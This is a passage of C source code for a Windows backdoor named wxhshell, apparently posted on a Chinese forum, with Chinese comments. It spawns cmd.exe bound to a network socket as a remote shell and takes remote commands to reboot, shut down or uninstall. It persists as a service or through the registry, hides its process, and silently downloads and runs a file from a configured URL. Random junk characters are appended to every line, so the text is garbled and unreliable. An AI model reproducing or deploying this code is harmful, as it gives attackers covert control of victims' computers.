0 oj{e9h  
    switch(cmd[0]) { :9F''f$AP  
  :IVk_[s  
  // 帮助 8hKP  
  case '?': { w*u{;v#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8 ih;#I=q  
    break; pPyvR;NJ  
  } bH\C5zt6(  
  // 安装 :`Uyn!w  
  case 'i': { oO#xx)b  
    if(Install()) I& M36f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jH&_E'XMX  
    else JpxbB)/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z{@R.'BD  
    break; *|k;a]HT  
    } 5Z9~ &U  
  // 卸载 Z<ajET`)  
  case 'r': { _}e7L7B7g  
    if(Uninstall()) %h"qMs S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  gmRT1T  
    else Jh43)#G-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2sqm7th  
    break; bbNU\r5%  
    } ]dHB}  
  // 显示 wxhshell 所在路径 ^.D}k  
  case 'p': { a;"Uz|rz  
    char svExeFile[MAX_PATH]; 1^L`)Up  
    strcpy(svExeFile,"\n\r"); (rr}Pv%yb  
      strcat(svExeFile,ExeFile); Gg9VS&VI  
        send(wsh,svExeFile,strlen(svExeFile),0); 8VP"ydg-U  
    break; /Fe:h >6  
    } e2k4[V  
  // 重启 }qiF^D}  
  case 'b': { \9]I#Ih}M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X%GD0h]X#  
    if(Boot(REBOOT)) s !#HZK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zb5N,!%r  
    else { aUW/1nQHa  
    closesocket(wsh); kG)2%  
    ExitThread(0); wqlcLIJPR  
    } IX<r5!  
    break; ~^I\crx,U%  
    } jow7t\wk  
  // 关机 i s L{9^  
  case 'd': { {[2tG U9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }pMP!%|  
    if(Boot(SHUTDOWN)) 2yln7[a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6ORY`Pe7P|  
    else { c[VrC+e m  
    closesocket(wsh); ?&znUoB  
    ExitThread(0); *O@sh  
    } 4E=0qbt8  
    break; \Z)#lF|^  
    } 4!l sk:R  
  // 获取shell FUaI2  
  case 's': { +7Yu^&  
    CmdShell(wsh); hCzjC|EO~  
    closesocket(wsh); _i3i HR?  
    ExitThread(0); ,0!uem}1i  
    break; l80bHp=  
  } 8p (!]^z  
  // 退出 fokwW}>B[f  
  case 'x': { YC]PN5[1!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mEoA#U  
    CloseIt(wsh); b'velj3A  
    break; |9>*$Fe"  
    } 0Injyc*bMF  
  // 离开 \\ jIl3Z  
  case 'q': { ;rd6ko  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ~~PgF"v  
    closesocket(wsh); M@|w[ydQG  
    WSACleanup(); U~aWG\h#X  
    exit(1); 3p=vz'  
    break; rdO@X9z  
        } *FV0Vy  
  } )ll?-FZ   
  } T yU&QXb  
* R%.a^R  
  // 提示信息 &Hv;<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AD^X(rW  
} coDj L.u  
  } 4d!S#zx  
Nd`HB=ShJ  
  return; R0%?:! F  
} xE%O:a?S  
OI+E (nA  
// shell模块句柄 n`]l^qE  
int CmdShell(SOCKET sock) 81Z4>F:  
{ }wG,BB%N  
STARTUPINFO si; wGPotPdE2  
ZeroMemory(&si,sizeof(si)); EMLx?JnP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; osl=[pm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mA& =q_gS  
PROCESS_INFORMATION ProcessInfo; W. ^Ei\w/t  
char cmdline[]="cmd"; Cz_AJ-WR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X E 9)c   
  return 0; <}d/v_+pnh  
} e1Ob!N-  
MRQZIi  
// 自身启动模式 M Hg6PQIB  
int StartFromService(void) huz86CO  
{ [*Q-nZ/L  
typedef struct ! ,@ZQS  
{ UxyY<H~Wx  
  DWORD ExitStatus; {VR`;  
  DWORD PebBaseAddress; ( : {"C6x  
  DWORD AffinityMask; !Cw!+fZ\l  
  DWORD BasePriority; <P1rqM9^  
  ULONG UniqueProcessId; <"?*zx&  
  ULONG InheritedFromUniqueProcessId; R*087X7 N|  
}   PROCESS_BASIC_INFORMATION; 8x9Rm  
V] rhVMA  
PROCNTQSIP NtQueryInformationProcess; < kz[:n:  
jo)6 %w]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pey//U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t:>x\V2m  
22>;vM."  
  HANDLE             hProcess; m%pBXXfGYj  
  PROCESS_BASIC_INFORMATION pbi; 3L>d!qD  
Ox^:)ii  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3YW=||;|Yg  
  if(NULL == hInst ) return 0; ym\(PCa5`  
ryg4h Hspl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [ByQ;s5tY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z>G;(F2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &'s^nn]  
8V-,Xig;`  
  if (!NtQueryInformationProcess) return 0; ACb/ITu  
s"i~6})K<$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,t1vb3  
  if(!hProcess) return 0; A[`G^ $  
4}i*cB `  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H-(q#?:  
)Vg2Jix,]  
  CloseHandle(hProcess); gz;&u)  
MLV:U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '.Z4 hHX  
if(hProcess==NULL) return 0; ^;r+W -MQ  
\5~;MI.Sq  
HMODULE hMod; "b]#MO}P  
char procName[255]; FQROK4x%"  
unsigned long cbNeeded; o2aM#Q  
94Ud@F9d5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H8f]}  
78 d_io}w  
  CloseHandle(hProcess); ^O)ve^P  
J B^Q\;$  
if(strstr(procName,"services")) return 1; // 以服务启动 $w)~xE5;  
;#&fgj  
  return 0; // 注册表启动 W`rMtzL5  
} *"cD.)]#2  
XKqK<!F  
// 主模块 MS*G-C  
int StartWxhshell(LPSTR lpCmdLine) WhFS2Jl0  
{ rA1q SG~c  
  SOCKET wsl; *P!s{i  
BOOL val=TRUE; ]CX[7Q+'  
  int port=0; 6):Xzx,  
  struct sockaddr_in door; l}rS{+:wK  
blahi]{Y9  
  if(wscfg.ws_autoins) Install(); Km!nM$=k  
R* 9NR,C  
port=atoi(lpCmdLine); wAFW*rO5o  
]\Xc9N8w  
if(port<=0) port=wscfg.ws_port; Gf0,RH+  
u[")*\CP  
  WSADATA data; S@xXq{j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pzhl*ss"6  
gcf6\f}\<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dx-KMiQ,"(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q+ pOrGh  
  door.sin_family = AF_INET; 5f^>b\8+ |  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zN{JJ3-  
  door.sin_port = htons(port); RJ~ %0  
gg^1b77hT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P=`1rjPE  
closesocket(wsl); 8uch i  
return 1; _<zfQZai  
} L9FHgl?  
8;8c"'Mn  
  if(listen(wsl,2) == INVALID_SOCKET) { q'G,!];qL  
closesocket(wsl); \NK-L."[  
return 1; Y]N,.pv=  
} hat>kXm2K  
  Wxhshell(wsl); `uo, __y  
  WSACleanup(); ;AIc?Cg  
y&oNv xG-  
return 0; sbo^"&%w  
c|AtBgvf  
} WKl+{e  
TWd;EnNM  
// 以NT服务方式启动 g=l:cVr8y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zl%>`k!>  
{ 6X)@ajGWg~  
DWORD   status = 0; y(a!YicA?  
  DWORD   specificError = 0xfffffff; eV7 u*d?  
;%!B[+ut"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q@-ovuxi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XK A pLz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; > cN~U3  
  serviceStatus.dwWin32ExitCode     = 0; VDGCWg6z  
  serviceStatus.dwServiceSpecificExitCode = 0; "i&"* ~  
  serviceStatus.dwCheckPoint       = 0; u~1o(Zn =  
  serviceStatus.dwWaitHint       = 0; oVOm_N  
Zy0aJN>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +4qU>  
  if (hServiceStatusHandle==0) return; ZA(T  
:I1_X  
status = GetLastError(); \or G63T:  
  if (status!=NO_ERROR) .*YD&(  
{ ?okx<'"[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jS<_ )  
    serviceStatus.dwCheckPoint       = 0; tPfFqqT  
    serviceStatus.dwWaitHint       = 0; )]43R   
    serviceStatus.dwWin32ExitCode     = status; 7~1IO|4t  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vj?DA5W`'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +&|S'7&{  
    return; xV\5<7qk5g  
  } $uDqqG(^  
bh p5<N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IMGP'g  
  serviceStatus.dwCheckPoint       = 0; A,gEM4  
  serviceStatus.dwWaitHint       = 0; beXNrf=bG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sJG5/w  
} NbRn*nb/T  
*G5c|Y  
// 处理NT服务事件,比如:启动、停止 )C hqATKg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ts$@s^S]  
{ E=]4ctK  
switch(fdwControl) [KJ q  
{ q,>?QBct*  
case SERVICE_CONTROL_STOP: YDC&u8  
  serviceStatus.dwWin32ExitCode = 0; g I]GUD-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qe$^q  
  serviceStatus.dwCheckPoint   = 0; ciQZHH2  
  serviceStatus.dwWaitHint     = 0; ^|MjJsn  
  { Q{g;J`Z)p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tr&M~Lgb)  
  } {aYY85j  
  return; U/l?>lOD\  
case SERVICE_CONTROL_PAUSE: BX+.0M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _-TA{21)  
  break; BB$oq'  
case SERVICE_CONTROL_CONTINUE: ?sz)J 3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dt}_D={Be  
  break; Zw1U@5}A  
case SERVICE_CONTROL_INTERROGATE: M]]pTU((  
  break; #/2$+x  
}; t2HJsMX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XFVV},V  
} lj=l4 &.i  
>slm$~rv  
// 标准应用程序主函数 5Por "&%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]b/S6oc6  
{ m!tx(XsXU  
Z3TS,a1I4  
// 获取操作系统版本 Ev"|FTI/  
OsIsNt=GetOsVer(); \55VqGyxu9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vr[czfROz'  
_nh[(F<hz  
  // 从命令行安装 \!]hU%Un  
  if(strpbrk(lpCmdLine,"iI")) Install(); kX`[Y@nUN  
j=?'4sF  
  // 下载执行文件 SMH<'F7i  
if(wscfg.ws_downexe) { 2 {Vcb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M$4[)6Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); }Z-Z|G)#  
} < 0M:"^f  
$Fkaa<9;P  
if(!OsIsNt) { .iMN,+qP  
// 如果时win9x,隐藏进程并且设置为注册表启动 d?AlI  
HideProc(); Sq\(pfv o  
StartWxhshell(lpCmdLine); NEt1[2X%  
} 2 dp>Z",  
else wr(*?p]R  
  if(StartFromService()) =Z=o#46JY  
  // 以服务方式启动 z!;1i[|x  
  StartServiceCtrlDispatcher(DispatchTable); BVsD( @lX  
else fA/m1bYxg  
  // 普通方式启动 (Rt7%{*  
  StartWxhshell(lpCmdLine); o2z]dTJ}o  
[u}(57DS  
return 0; 2%RNq<{Z_  
}
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只看该作者 1 发表于: 2006-10-10
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